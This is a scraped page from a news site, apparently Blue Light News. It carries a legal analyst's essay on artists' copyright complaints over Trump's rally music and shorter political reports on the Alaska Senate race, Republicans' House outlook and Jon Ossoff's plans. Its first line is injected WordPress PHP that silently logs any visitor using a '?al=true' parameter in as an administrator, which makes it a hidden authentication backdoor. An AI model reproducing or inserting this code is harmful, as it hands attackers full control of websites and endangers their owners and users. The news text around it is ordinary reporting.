// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); How Beyonce, Springsteen and Trump could help rewrite copyright law – Blue Light News
Connect with us

Politics

How Beyonce, Springsteen and Trump could help rewrite copyright law

Published

on

How Beyonce, Springsteen and Trump could help rewrite copyright law

Former President Donald Trump’s machinations to avoid accountability have prompted new legislation not just in criminal law, but also in copyright law — where his taste in playlists may have a far more expansive legal effect.

While Trump is frequently described as a force of divisiveness, his choice of music for his rallies and campaign commercials has brought together a wide coalition of artists from multiple genres and eras in complaining about the allegedly unauthorized use of their material. An only partial list of artists includes Neil Young, BeyoncéFoo Fighters, ABBA, the White Stripes, Celine Dion and, most recently, the estate of Isaac Hayes.

As one noted legal expert puts it: “Trump is the greatest abuser of musical property rights, ever, in terms of people running for president.”

Trump’s choice of music for his rallies has brought together a wide coalition of musical artists from multiple genres and eras in complaining about his allegedly unauthorized use.

Trump is a recidivist offender, having also drawn objections in 2016 from artists including Bruce Springsteen, who objected to Trump playing “Born in the USA.” Rather than taking legal action against Trump, the “Boss” publicly endorsed Trump’s opponent — Hillary Clinton — which resulted in Trump’s attendees booing every time the song was played. Trump’s 2016 campaign use of “Start Me Up” also drew threats of legal action by the Rolling Stones.

But despite all these complaints, lawsuits have been rare. Guyanese-British singer songwriter Eddie Grant sued Trump in 2020 for using Grant’s 1983 hit song “Electric Avenue” in a Twitter video mocking Trump’s then-opponent Joe Biden, seeking damages and attorney’s fees for unauthorized use of the song. This September, following a lawsuit filed by the estate of Isaac Hayes against Trump for unauthorized use of his song “Hold On, I’m Coming,” a federal judge granted an emergency injunction against Trump’s further use of the song as the litigation continues.

The relative paucity of lawsuits versus the number of complaints may be explained by the legal complexities involved.

Artists who want to stop Trump from using their music typically start with a cease-and-desist letter, which puts the offender on notice of legal action if they don’t stop using the song. If the letter doesn’t work, then the artist must file suit — and that’s where it gets tricky, because of music licensing agreements as well as the much misunderstood legal doctrine of “fair use.”

At first glance, it seems easy enough for campaigns to get legal authorization to use particular songs. That is because performing rights organizations like ASCAP and BMI sell licensing packages offering access to millions of songs. While most large venues have bought such packages, a lawsuit against Newt Gingrich’s use of Survivor’s “Eye of the Tiger” (made famous in “Rocky III”) found a hole in this protection by specifically targeting use of the music at small venues, not large ones.

But even when the campaign obtains a licensing package, the artists can complain to the organization if they object to the use of their song, and the organization will then contact the campaign asking them to stop. If the campaign refuses to stop using the song, the artist may bring several different types of claims — most typically copyright infringement but also claims under the Lanham Act for trademark infringement. The latter is often premised on the idea that using the artist’s music may imply the artist endorses the candidate.

The use of music played at rallies is a far more straightforward legal issue than it is in the digital world.

As a defense to the copyright claim, defendants may adopt the tactic the Trump campaign used with the lawsuit filed by Isaac Hayes’ estate, in which Trump argued he had a blanket license from BMI and also claimed use of the song was allowed under the fair use doctrine. Trump also tried to argue that Hayes did not own enough of the copyright.

The fair use doctrine grants an exception to copyright protections when taking into account four factors: the purpose and character of the use, the nature of the copyrighted work, the amount of substantiality of the portion used, and the effect of the use on the potential market value or value of the work. It doesn’t take a legal scholar to see how much wiggle room exists in these factors.

It’s obvious that the above process is complicated, lengthy and expensive for the artists to bring. However, the trend for suits has been on the upswing since 2008, when Jackson Browne sued John McCain and the Ohio Republican Party for use of his song “Running on Empty.” Browne won damages, and McCain apologized.  Two years later, Talking Heads’ front man David Byrne sued then-Florida Gov. Charlie Crist; he won damages and forced Crist to make a public apology. These two suits were critical to make campaigns realize they could be forced to pay damages, and some experts believe they opened the way for more legal action by artists against campaigns. In 2010, Mitt Romney and Newt Gingrich were both forced to stop using music by Survivor and K’Nann, and in 2011 Don Henley stopped former Rep. Michelle Bachmann’s use of his music with only a letter.

The use of music at rallies is a far more straightforward legal issue than it is in the digital world. The case of Grant v. Trump brought by Eddie Grant involved use of the song with animation in a video posted on Twitter. The suit started in 2020 and only just concluded in Grant’s favor.

With digital and online use, it is far easier for content creators to argue under the fair use doctrine that the way in which the music is being used escapes copyright infringement claims — think YouTube reaction videos. And the increasing sophistication of AI generated content in images and video will complicate this even further.

Most campaigns may not want to be dragged into legal suits and possibly face damages. Trump does not seem to care. So his litigious tendencies are likely to break new ground as copyright law faces technological advances.

Most campaigns may not want to be dragged into legal suits and possibly face damages. Trump does not seem to care.

Campaigns want to use popular music for the same reason we like to listen to it — it moves people — and that reaction is how artists make a living from their work. But the challenge posed by the speed and reach of the digital age is how the law can evolve to protect the original work and how much of the artist’s own beliefs matter.

Tom Morello, of Rage Against the Machine, once wrote in his criticism of former Speaker of the House Paul Ryan’s use of the group’s music: “Paul Ryan is the embodiment of the machine our music rages against.” That sentiment and the risks of distortion posed by our age resonates perfectly with Taylor Swift’s endorsement of Kamala Harris right after her debate with Trump.

The law provides one tool for artists to prevent their work and beliefs from being hijacked. Another — and perhaps even more powerful one — is to use their voices and platforms to directly speak out and leave no doubt as to how they view the purpose of their art.

Shan Wu

Shan Wu is a legal analyst and former federal prosecutor who served as counsel to then-Attorney General Janet Reno.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

‘I think Alaska’s turning blue’: Republicans fret Sullivan’s path to reelection

Published

on

WASILLA, Alaska — Three weeks out from Election Day, President Donald Trump took a helicopter to a plane to another helicopter to a motorcade to an ice hockey rink in Alaska’s Matanuska-Susitna Valley, traversing nearly 4,000 miles over more than eight hours to turn out his base here to help Republicans defend the Senate.

But Trump’s trek might not be enough to save Sen. Dan Sullivan, who’s running in a tougher-than-expected race against Democrat Mary Peltola in a state where the president’s approval rating is underwater and independents outnumber both Republicans and Democrats.

Alaska strategists and voters who spoke to Blue Light News acknowledged that Sullivan faces a difficult path to reelection, despite Trump’s time investment and the outside money pouring in.

“Very conservative MAGA voters can’t vote for you harder,” said Scott Kendall, a veteran political strategist who worked on two of Alaska GOP Sen. Lisa Murkowski’s campaigns and was chief of staff to former Alaska Gov. Bill Walker. “Donald Trump’s support in this current climate is both a blessing and a curse.”

Even some Trump supporters at the Tuesday night rally admitted the outlook appeared bleak.

“I think Alaska’s turning blue,” said Matt Niessink, a 45-year-old general contractor from Wasilla. He said he had voted for Trump three times and planned to support Republicans this year.

What did he wish the president would do differently? “I wish he’d shut his mouth sometimes and not be such a pompous ass,” Niessink said.

The president was in Wasilla — population 10,556 — because the outlook is darkening for his party in a state he carried by 13 points just two years ago. In a midterm year defined by the cost of gas and groceries, the Last Frontier has been hit particularly hard, with the average price of diesel nearing $7 per gallon. In the Senate race, Peltola is flush with cash and leads Sullivan in most polls. MAGA Inc., the cash-rich Trump-aligned super PAC, is increasingly focusing on Alaska as one in a slate of states that can help Republicans hold the Senate.

Enter Trump, who has been spending the cycle’s crucial final weeks holding rallies in red states to juice support among his base, which tends to see depressed turnout in years when he’s not on the ballot.

“That was a lot of flying,” the president said at the top of his remarks. “In fact, they were thinking about canceling. They said, ‘Sir, you’re very busy, this is very tough.’” But, Trump continued, he refused to cancel for a state he won three times.

Echoing his comments at other red-state rallies, Trump asked the roaring crowd for “one big favor” — to “pretend that I’m on the ballot, because every time I’ve been on the ballot, we win.” He repeated his promise that Americans will receive $5,000 dividends if Republicans hold both chambers.

“What this is about is getting out the vote,” Sullivan told reporters before Trump’s speech. “A rising tide of enthusiasm lifts all the candidates.”

Unlike some other Republican candidates in tight races, Sullivan has shied away from distancing himself from the least popular aspects of Trump’s presidency.

Sullivan proclaimed on stage at the rally that “the conflict in the Middle East is temporary. The true forever war is the national Democrats’ war against Alaska oil and gas and our jobs.” And although a campaign aide released a statement condemning Trump’s move to import Russian diesel, Sullivan did not join four of his Republican Senate colleagues, including Murkowski, who called on Trump to reverse the decision.

Art Hackney, a veteran Republican strategist in Alaska, said that “most of the people who support” Sullivan “think that he should” break more with the president.

Hackney, who runs a pro-Sullivan super PAC called “We Stand with Dan,” attributed that choice to loyalty — but suggested the president’s demand of fealty, and treatment of frequent dissenter Murkowski, could also be part of Sullivan’s calculus.

“A lot of his longtime supporters and the people who are in the industries that would benefit from that wish he would be more blunt,” Hackney said. “But with what Murkowski has done, if Dan did something considered a disrespectful trigger or something, what do you think would happen? It could well have implications for things that affect Alaska’s economy.”

Like this content? Consider signing up for Blue Light News’s Playbook PM newsletter.

Continue Reading

Politics

In private, top Republicans believe the House is a lost cause

Published

on

Some top congressional Republicans have privately concluded that it is likely impossible for them to keep control of the House of Representatives in the midterm elections, and they are now focused on limiting the scale of the defeat and salvaging the party’s Senate majority.

Five senior Republican lawmakers, all granted anonymity to speak candidly about their party’s dire position, told Blue Light News the House had all but slipped away.

One senior House Republican said the GOP’s goal at this point was to “save as many Republican seats as we can.” The president, this person said, was not helping.

“President Trump has made this election all about himself,” the lawmaker said. “Now we have to survive that political storm.”

A second Republican member of Congress said the movement of campaign advertising made plain which side was in control of the midterms. This lawmaker predicted Democrats would pick up about 10 seats, more than enough to take control of the chamber.

Even in newly redistricted red states like Florida and Texas, this person said, Republican candidates were “hanging on with their fingernails.”

Republicans have already fallen back from several contested House districts that they feel are no longer winnable, including those held by Rep. Mariannette Miller-Meeks of Iowa and Tom Kean Jr. of New Jersey. Trump carried their districts just two years ago. The party last week gave up on an Omaha-based district held by retiring Rep. Don Bacon.

Trump officials and other top GOP operatives say more candidates may be cut off in the coming days, in order to shift advertising money to races where it can make more of a difference. Republican groups have already given up on multiple races where they once hoped to unseat Democratic lawmakers.

The Republican Party is under extreme pressure across the Midwest, where it is now spending heavily to defend Senate seats in once-reliably MAGA states like Iowa, Nebraska and Kansas.

Bacon, a maverick often at odds with the White House, said there was no mystery in his party’s political tribulations.

“I’ve talked to some who are making these decisions: The biggest problem is the president’s polling numbers and unfavorables,” Bacon said.

White House officials insist they’re not giving up on either chamber of Congress. In a statement, White House spokeswoman Liz Huston said Trump remained “committed to maintaining Republican majorities in both the House and Senate.”

As he departed on Tuesday to campaign in Alaska for embattled GOP Sen. Dan Sullivan, Trump professed optimism about the midterms but acknowledged that sitting presidents typically see their party lose seats in the off year.

“But I’m doing a tour right now and I’m doing rallies,” Trump added. “The level of enthusiasm for the Republican Party is way up.”

House Speaker Mike Johnson went even further, flatly declaring during a campaign stop in deep-red Texas that “the polling is wrong” in showing his party on the brink of a broad defeat.

Yet at a tactical level, the Republican Party’s moves to shift money away from defending the House and toward saving the Senate are clear enough. In recent days, the Congressional Leadership Fund, the top super PAC for House Republicans, canceled advertising for key House candidates in Nebraska and Iowa and allowed the Senate Leadership Fund – a Republican group focused on the upper chamber – to swoop in and claim the airtime to support Nebraska Sen. Pete Ricketts and Rep. Ashley Hinson, who is running for Senate in Iowa.

“These are not the moves of a party that’s going to keep the House,” a third Republican lawmaker said.

In statements to Blue Light News, both CLF and the National Republican Congressional Committee said they had no intention of giving up on the fight for control of the House.

NRCC spokesperson Mike Marinella said districts are won “one by one,” and that the GOP has “the financial firepower and ground game needed to win.”

Chris Winkelman, president of CLF, said his group would keep moving money around to maximize the impact nationally.

The goal, he said, was to “keep the pressure on the most vulnerable Democrats and preserve a path to 218 seats.”

Former Rep. Carlos Curbelo, a Florida Republican who lost his swing seat in Trump’s first midterm election eight years ago, said his former colleagues were clear-eyed about where the election seemed to be headed.

“The environment is about as tough as one could expect,” Curbelo said. “There is no one who has privately stated that they believe Republicans can hold the House — not in recent weeks, anyway.”

Megan Messerly, Lauren Fedor, Lisa Kashinsky and Myah Ward contributed to this report.

Continue Reading

Politics

Ossoff says he has ‘zero interest in running for president’

Published

on

Democratic Sen. Jon Ossoff said Tuesday he will not run for president in 2028 and committed to serving a full six-year Senate term if reelected.

“I have zero interest in running for president. I’m not running for president. I’m running for reelection to the Senate,” Ossoff said during a Georgia Senate debate against Republican Rep. Mike Collins.

Asked by Greg Bluestein of The Atlanta Journal-Constitution whether he would serve his full term if he wins in November, Ossoff replied: “Yes, I will.”

The remarks are Ossoff’s most forceful rejection yet of a potential 2028 presidential bid even as his name has repeatedly surfaced in national Democrats’ conversations about possible contenders for the party’s nomination. His public commitment to a full Senate term on Tuesday is the latest of his campaign’s many efforts to tamp down that speculation.

Ossoff gained national attention this year given his strong fundraising numbers, his consistent lead in public polling against Collins and his ability to generate viral moments on the campaign trail, particularly through his attacks on President Donald Trump. Democrats are bullish about Ossoff’s ability to hold onto his Senate seat — so much so that the Democratic-aligned Senate Majority PAC said Tuesday it was removing its ad spending in Georgia for the week.

He’s also taken steps to boost the state Democratic party in Georgia, a perennial battleground that has been and will be key to winning the presidency. If November brings historic wins up and down the ballot, Ossoff will get some of the credit — and he’ll have confirmed his status as a leader in the swing state.

Continue Reading

Trending